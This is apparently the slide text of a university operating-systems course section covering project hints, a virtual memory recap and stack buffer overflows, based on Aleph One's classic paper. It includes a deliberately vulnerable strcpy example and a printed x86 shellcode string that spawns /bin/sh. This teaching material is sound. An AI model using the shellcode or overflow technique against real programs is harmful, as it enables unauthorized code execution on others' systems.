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CSE451 – Section 7

Project 2 hints
VM (process memory, buffer 
overrun attacks)
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Webserver w/user threads

� Problems with synchronous I/O and user 
threads:

� Accept() blocks the main thread

� Hint: yield() in main thread after handing off 
the socket id

� Use pthreads for Web server-related parts 
(parts 4 and 6)

� We won’t test sioux with user threads
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Relevant Issues from Project 1

� Methodology for the simple benchmark:

� Give details about your experimental setting:

� E.g., used P4 3GHz, averaged over 1M trials of 
running a system call
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Project 2 – questions?
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Virtual Memory (quick recap)

Process’ VM:

Another 
process

(Inspired from wikipedia)

Disk

Physical memory
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Virtual Memory (quick recap)

Process’ VM:

Another 
process

Disk

Physical memory

page frame #

Process’

Page table
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Virtual Memory (quick recap)

Process’ VM:

Another 
process

Disk

Physical memory

page frame #

Process’

page table

� How can we use paging to set up sharing of 
memory between two processes? 8

Process Memory Organization

� In figure, stack grows downwards, but it’s not necessary

� How can you determine the direction in which stack grows?

TEXT

DATA

STACK
0xffffffff

0x00000000

Program stack

Initialized/uninitialized
global/static variables

static int a = 3;

Heap
char* buff = (char*)malloc(…)

What goes here?

Code
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Example

� What does the process’ memory look like for the 

following code:

void foo(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

}

void main() {

foo(1,2,3);

}

Program 
stack

Global variables

Heap

Code

We’re here w/ execution

Example taken from “Smashing The Stack For Fun And Profit ” 10

Contents of the stack

Word size 
(4B)

c
b
a

Bottom of stack 
(0xffffffff)

1 word

1 word

1 word

RET
Saved return address 
(Where does it point 
to?)Memory is 

addressed in 

multiples of 
words

SFP

buffer1

buffer2
How many words?
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How would you smash the stack?

Word size 
(4B)

c
b
a

Bottom of stack 
(0xffffffff)

1 word

1 word

1 word

RET
SFP

buffer1

buffer2

1 word

1 word

2 words

3 words
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Buffer overflows

� What’s the bug?

void foo(char* str) {

char buffer[5];

strcpy(buffer, str);

}

void main() {

char large_string[256];

…

foo(large_string);

}

Example taken from “Smashing The Stack For Fun And Profit ”
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The stack contents

*str

SFP
RET

buffer

void foo(char* str) {

char buffer[5];

strcpy(buffer, str);

}

void main(int argc,

char* argv[]) 

{

…

foo(argv[1]);

}
Large 

addr

Small 

addr
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The stack contents

*str

SFP
RET

buffer

void foo(char* str) {

char buffer[5];

strcpy(buffer, str);

}

void main(int argc,

char* argv[]) {

foo(argv[1]);

}

• What cmd-line argument 

should attacker provide?

- Length?
- Contents?

Large 

addr

Small 

addr
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Shell code

� Program to bring up a shell:
#include <stdio.h>

void main() {

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

� If you de-assemble, you get:
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” 

"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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More information

� Smashing The Stack For Fun And Profit, Aleph 
One:

http://www.cs.washington.edu/education/cour
ses/cse599g/CurrentQtr/stack.txt


